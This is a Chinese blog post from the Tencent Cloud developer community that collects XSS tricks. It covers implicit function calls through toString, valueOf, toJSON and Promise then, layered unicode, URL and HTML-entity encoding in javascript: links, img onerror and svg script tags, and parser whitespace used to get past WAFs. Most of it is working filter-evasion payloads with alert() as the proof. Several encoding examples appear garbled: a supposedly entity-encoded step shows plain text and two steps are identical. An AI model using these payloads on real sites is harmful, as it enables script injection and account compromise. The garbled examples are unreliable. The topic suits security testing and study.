title: XSS那些tricks
最近碰到的两种方式
在调用某些对象,或者执行某些方法时,会自动隐式的调用某些函数。这里有个缺憾,自动调用的函数是不带参数的,并没有找到可以利用的方法(在空白页面),不同环境下有其他利用方法?
obj进行值运算时,如==,+,-等,会自动调用toString,或者valueOf方法。
payload:
toString=alert;this-1
valueOf=alert;this-1
如果JSON的stringify方法传入的对象有toJSON方法,那么该方法执行的对象会转为toJSON执行后返回的对象。
payload: toJSON=alert;JSON.stringify(this);
当Promise.resolve方法传入对象时,如果存在 then 方法会立即执行then方法,相当于把方法放入new Promise中,除了Promise.resolve有这个行为外,Promise.all也有这个行为。
payload:
then=alert;Promise.resolve(this).then()
then=alert;Promise.all([this]).then()
payload: <script>onerror=alert;throw 1</script>
先知道哪些标签会进行解码,还有组合在一起时的解码顺序,才会知道在绕过时如何进行编码。
<script>alert(1)</script>
=> <script>\u0061\u006c\u0065\u0072\u0074(1)</script>
(括号及括号内的不可进行unicode16进制编码)<a href="javascript:\u0061\u006c\u0065\u0072\u0074('xss')">test</a>
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a>
先unicode编码再urlencode编码。<a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%283%29">a</a>
<a href="javascript:alert('xss')">test</a>
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a>
进行编码=> <a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%283%29">a</a>
1. 对javascript:alert(1)进行HTML编码
<img src=xxx onerror="javascript:alert(1)">
2. 对alert进行JS编码
<img src=xxx onerror="javascript:\u0061\u006c\u0065\u0072\u0074(1)">
3. 以上两种方法混用
<img src=xxx onerror="javascript:\u0061\u006c\u0065\u0072\u0074(1)">
payload: <svg><script>alert('xss')</script>
svg标签后接的scrpt标签,会自动进行一次实体解析。
其实可以混合编码利用:先unicode16进制编码,再实体编码。
1. alert(1)
2. \u0061\u006c\u0065\u0072\u0074(1)
3. \u0061\u006c\u0065\u0072\u0074(1)
4. <svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script>
payload从浏览器地址栏到页面上有一次url解码,可以理解为经过了一次unscape函数。
alert=function(i){
console.log(i.toString(16))
};
for(i=0;i<257;i++){
try{eval('alert'+String.fromCharCode(i)+'('+i+')')}catch(e){}}
结果:09 0a 0b 0c 0d 20
payload:<script>%0b%0balert%0b%a%0c(1)</script>
利用条件为从地址栏到页面输出。可以用来绕过waf。
Lol:Function`alert(1)`
!class extends`${alert(1)}`{}
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。